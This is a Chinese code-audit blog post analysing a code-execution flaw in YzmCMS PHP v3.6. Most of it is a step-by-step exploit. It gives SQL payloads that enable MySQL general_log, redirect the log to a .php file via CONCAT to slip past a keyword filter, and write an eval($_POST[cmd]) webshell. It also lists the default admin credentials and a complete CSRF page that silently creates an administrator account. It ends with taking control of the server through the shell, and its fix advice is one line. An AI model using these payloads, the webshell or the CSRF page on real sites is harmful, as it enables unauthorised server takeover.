1. 程式人生 > >【程式碼審計】YzmCMS_PHP_v3.6 程式碼執行漏洞分析

【程式碼審計】YzmCMS_PHP_v3.6 程式碼執行漏洞分析

 

0x00 環境準備

YzmCMS官網:http://www.yzmcms.com/

程式原始碼下載:http://pan.baidu.com/s/1pKA4u99

測試網站首頁:

 

0x01 程式碼分析

1、檔案位置: /application/admin/controller/sql.class.php第10-42行中:

  1. public function init() {  
  2.     if(isset($_POST['sqlstr'])){  
  3.         if(!C('sql_execute')) showmsg('根據系統配置,不允許線上執行SQL命令!', 'stop');  
  4.         $sqlstr = MAGIC_QUOTES_GPC ? stripslashes($_POST['sqlstr']) : $_POST['sqlstr'];  
  5.         $sqlstr = rtrim(trim($sqlstr), ';');  
  6.         $sqls = $_POST['action']=='many' ? explode(';', $sqlstr) : array(0 =>
     $sqlstr);  
  7.   
  8.         $admin = D('admin');  
  9.         foreach($sqls as $sql){  
  10. 10.             if(stristr($sql, 'outfile')){  
  11. 11.                 $str = '<span class="c-red">ERROR : 檢測到非法字元 “outfile”!</span>';  
  12. 12.                 break;  
  13. 13.             }  
  14. 14.             if(stristr($sql, '.php')){  
  15. 15.                 $str = '<span class="c-red">ERROR : 檢測到非法字元 “.php” !</span>';  
  16. 16.                 break;  
  17. 17.             }  
  18. 18.             if(preg_match("/^drop(.*)database/i", $sql)){  
  19. 19.                 $str = '<span class="c-red">ERROR : 不允許刪除資料庫!</span>';  
  20. 20.                 break;  
  21. 21.             }  
  22. 22.             $result = $admin->query($sql);   
  23. 23.             if($result){  
  24. 24.                 $str = '<span style="color:green">OK : 執行成功!</span>';  
  25. 25.                 if(is_object($result) || is_resource($result)){  
  26. 26.                     $arr = $admin->fetch_all($result);  
  27. 27.                 }                     
  28. 28.             }else{  
  29. 29.                 $str = '<span class="c-red">ERROR : 執行失敗!</span>';  
  30. 30.                 break;  
  31. 31.             }                 
  32. 32.         }  
  33. 33.     }  

這段函式中對提交的sql引數進行還原處理,然後進行非法字元檢測,檢測字元是否存在”oufile”、”.php”,匹配是否有刪除資料的操作等。

2、如何繞過這種限制?

首頁,outfile被禁止,第一時間想到的就是SQL語句利用日誌寫入檔案,但是寫入指令碼檔案”.php”會被檢測到非法字元;然後,嘗試MySQL中concat函式來連線字串,拆分’.php’關鍵詞,如 CONCAT("test.","php");最後構造出可以寫入檔案,繞過非法字元檢測的的SQL語句,從而觸發程式碼執行漏洞,控制伺服器。

Payload:

  1. show variables like '%general%';   #檢視配置
  2. set global general_log = on;        #開啟general log模式
  3. set global general_log_file =CONCAT("E:\\study\\WWW\\YzmCMS\\test.","php"); 
  4. select '<?php eval($_POST[cmd]);?>';   #寫入shell

0x02 漏洞利用

A、如何獲取後臺管理員許可權

有兩種思路:

思路A:通過預設資訊,弱口令登入

預設後臺路徑:http://127.0.0.1/admin/index/login.html

管理員預設賬號密碼均為:yzmcms

思路B:通過CSRF漏洞,誘導管理員訪問,自動在後臺新增管理員賬號。

CSRF漏洞利用程式碼如下:

  1. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">  
  2.   
  3. <html>  
  4. <head>  
  5. <title>OWASP CRSFTester Demonstration</title>  
  6. </head>  
  7. <body onload="javascript:fireForms()">  
  8. <script language="JavaScript">  
  9. var pauses = new Array( "68" );  
  10. 10.   

11. function pausecomp(millis)  

12. {  

  1. 13.     var date = new Date();  
  2. 14.     var curDate = null;  
  3. 15.   
  4. 16.     do { curDate = new Date(); }  
  5. 17.     while(curDate-date < millis);  

18. }  

  1. 19.   

20. function fireForms()  

21. {  

  1. 22.     var count = 1;  
  2. 23.     var i=0;  
  3. 24.       
  4. 25.     for(i=0; i<count; i++)  
  5. 26.     {  
  6. 27.         document.forms[i].submit();  
  7. 28.           
  8. 29.         pausecomp(pauses[i]);  
  9. 30.     }  

31. }  

  1. 32.       

33. </script>  

34. <H2>OWASP CRSFTester Demonstration</H2>  

35. <form method="POST" name="form0" action="http://127.0.0.1:80/admin/admin_manage/add.html">  

36. <input type="hidden" name="adminname" value="admin"/>  

37. <input type="hidden" name="password" value="abc123!"/>  

38. <input type="hidden" name="password2" value="abc123!"/>  

39. <input type="hidden" name="email" value=""/>  

40. <input type="hidden" name="realname" value=""/>  

41. <input type="hidden" name="roleid" value="1"/>  

42. <input type="hidden" name="dosubmit" value="1"/>  

43. </form>  

44. </body>  

45. </html>  

B、程式碼執行漏洞利用

Payload:

  1. show variables like '%general%';   #檢視配置
  2. set global general_log = on;        #開啟general log模式
  3. set global general_log_file =CONCAT("E:\\study\\WWW\\YzmCMS\\test.","php"); 
  4. select '<?php eval($_POST[cmd]);?>';   #寫入shell

1、        執行sql語句,檢視mysql日誌配置情況

 

2、        根據日誌檔案位置或者預設站點路徑來推測站點目錄,可用load_file()函式來測試,確認站點目錄位置。或者通過phpinfo()等資訊收集獲取站點目錄。

 

3、        分別執行下列sql語句,將指令碼程式碼寫入檔案:

set global general_log = on;         

set global general_log_file =CONCAT("E:\\study\\WWW\\YzmCMS\\test.","php"); select '<?php eval($_POST[cmd]);?>';    

 

4、        提交引數,執行指令碼程式碼:

 

5、        通過菜刀連線,獲取伺服器控制權限:

 

0x03 修復建議

1、Mysql資料庫降權處理,讓入侵者無法做高許可權下可做的事!

最後

歡迎關注個人微信公眾號:Bypass--,每週原創一篇技術乾貨。